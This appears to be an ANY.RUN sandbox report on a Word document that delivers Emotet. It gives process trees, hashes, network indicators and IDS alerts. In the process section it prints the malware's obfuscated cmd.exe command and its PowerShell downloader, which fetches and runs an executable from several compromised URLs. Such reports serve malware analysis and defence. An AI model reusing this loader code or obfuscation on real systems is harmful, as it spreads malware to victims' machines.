analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

IBAN_DE56

Full analysis: https://app.any.run/tasks/94743a08-bf58-45c4-b900-d5c7cda8ac58
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 09:59:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
trojan
emotet
feodo
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 07:55:00 2018, Last Saved Time/Date: Tue Dec 18 07:55:00 2018, Number of Pages: 1, Number of Words: 3, Number of Characters: 22, Security: 0
MD5:

A45EAF18F19FF68C7CFD75DD8EF2E659

SHA1:

E8BA7B535AED2E83D42FE708DA840AB1490E3297

SHA256:

1FEC743E7AB6D1DE0FEB7E17DFB7C0073D95D15E7B1AD90761FA9F1A29AA66BE

SSDEEP:

768:wf4OEKjmW9/MqtBMENPOgHvgekSD6axz99Zk5Q+RqB2XwOxb6i+1o9:m7ljmW9/bvFn3Db3zH+VX75+a9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2944)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2944)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2700)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 2532)

    • Application was dropped or rewritten from another process

      • 384.exe (PID: 3760)
      • 384.exe (PID: 2672)
      • archivesymbol.exe (PID: 2408)
      • archivesymbol.exe (PID: 612)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2532)

    • Changes the autorun value in the registry

      • archivesymbol.exe (PID: 612)

    • Connects to CnC server

      • archivesymbol.exe (PID: 612)

    • EMOTET was detected

      • archivesymbol.exe (PID: 612)

  • SUSPICIOUS

    • Application launched itself

      • cmd.exe (PID: 336)

    • Creates files in the user directory

      • powershell.exe (PID: 2532)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2532)
      • 384.exe (PID: 2672)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 336)

    • Starts itself from another location

      • 384.exe (PID: 2672)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2944)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:18 07:55:00
ModifyDate: 2018:12:18 07:55:00
Pages: 1
Words: 3
Characters: 22
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 24
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
8
Malicious processes
6
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe 384.exe no specs 384.exe archivesymbol.exe no specs #EMOTET archivesymbol.exe

Process information

PID
CMD
Path
Indicators
Parent process
2944"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\IBAN_DE56.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
336c:\zBXFOYMnfAslX\BwYnWCZVt\jZbqNFLsH\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%"c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2700CmD /V:ON/C"set Tlwk=;'voz'=jOv$}}{hctac}};kaerb;'tVp'=FPN$;TDc$ metI-ekovnI{ )00008 eg- htgnel.)TDc$ metI-teG(( fI;'Ucd'=Cst$;)TDc$ ,MSj$(eliFdaolnwoD.vbW${yrt{)LKw$ ni MSj$(hcaerof;'exe.'+uUn$+'\'+pmet:vne$=TDc$;'BjZ'=CNU$;'483' = uUn$;'Aho'=zCG$;)'@'(tilpS.'9LTmLS/moc.ehcuod-ecapse.www//:ptth@DnOX/gro.aciremagalf.www//:ptth@A/moc.npci//:ptth@6/moc.etiesebeil.www//:ptth@qfPVbU/moc.munihpled//:ptth'=LKw$;tneilCbeW.teN tcejbo-wen=vbW$;'JCE'=tQj$ llehsrewop&&for /L %S in (438,-1,0)do set Zy=!Zy!!Tlwk:~%S,1!&&if %S==0 call %Zy:~4%"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2532powershell $jQt='ECJ';$Wbv=new-object Net.WebClient;$wKL='http://delphinum.com/UbVPfq@http://www.liebeseite.com/6@http://icpn.com/A@http://www.flagamerica.org/XOnD@http://www.espace-douche.com/SLmTL9'.Split('@');$GCz='ohA';$nUu = '384';$UNC='ZjB';$cDT=$env:temp+'\'+$nUu+'.exe';foreach($jSM in $wKL){try{$Wbv.DownloadFile($jSM, $cDT);$tsC='dcU';If ((Get-Item $cDT).length -ge 80000) {Invoke-Item $cDT;$NPF='pVt';break;}}catch{}}$vOj='zov';C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3760"C:\Users\admin\AppData\Local\Temp\384.exe" C:\Users\admin\AppData\Local\Temp\384.exe—powershell.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
2672"C:\Users\admin\AppData\Local\Temp\384.exe"C:\Users\admin\AppData\Local\Temp\384.exe
384.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
2408"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe—384.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
612"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe
archivesymbol.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Version:
8.00.0.010
Total events
1 873
Read events
1 386
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5

Dropped files

PID
Process
Filename
Type
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6E0C.tmp.cvr —
MD5:—
SHA256:—
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A4057B9.wmf —
MD5:—
SHA256:—
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6391CB2F.wmf —
MD5:—
SHA256:—
2532powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CXZCNHB8AO51EQ49W8FH.temp —
MD5:—
SHA256:—
2532powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\29492A66.wmfwmf
MD5:D4A3B829538731B2A9A4B8296AC975F4
SHA256:EFB3F81206BAC28D5D9784D668CF7E168ADBE27AC949201E0EB02E3F9A451125
2944WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\42AAC098.wmfwmf
MD5:8E66B55BD66B71A1CD8D19B2784D48E5
SHA256:6D2F759299D299A37DBB1EE3FFB7ABD6C39E639ED1BD871556D14B770ECBF01A
2532powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247b7a.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$AN_DE56.docpgc
MD5:E310AAF15FE09A8679CFA56AA0A2536C
SHA256:1025BA2136A44DA84D8EC5FE3221ECFE855ABB8EDB6C958E3F93E28F8186C364
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:0B54F9326214D06A9F1E1DA87FFD21E6
SHA256:39A8A95E02609E7399D2335D0EFC62B52827BF50C6BD54D89F517F014E1B9148
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2532
powershell.exe
GET
301
81.19.145.40:80
http://www.liebeseite.com/6
AT
html
236 b
malicious
2532
powershell.exe
GET
200
81.19.145.40:80
http://www.liebeseite.com/6/
AT
executable
124 Kb
malicious
612
archivesymbol.exe
GET
200
217.173.64.242:443
http://217.173.64.242:443/
RU
binary
132 b
suspicious
2532
powershell.exe
GET
403
81.88.48.95:80
http://delphinum.com/UbVPfq
IT
xml
2.42 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
612
archivesymbol.exe
217.173.64.242:443
—
OOO WestCall Ltd.
RU
suspicious
2532
powershell.exe
81.88.48.95:80
delphinum.com
Register.it SpA
IT
suspicious
2532
powershell.exe
81.19.145.40:80
www.liebeseite.com
World4You Internet Services GmbH
AT
suspicious

DNS requests

Domain
IP
Reputation
delphinum.com
  • 81.88.48.95
malicious
www.liebeseite.com
  • 81.19.145.40
malicious

Threats

PID
Process
Class
Message
2532
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2532
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
2532
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2532
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2532
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2532
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
612
archivesymbol.exe
A Network Trojan was detected
SC SPYWARE Spyware Emotet Win32
612
archivesymbol.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
IBAN_DE56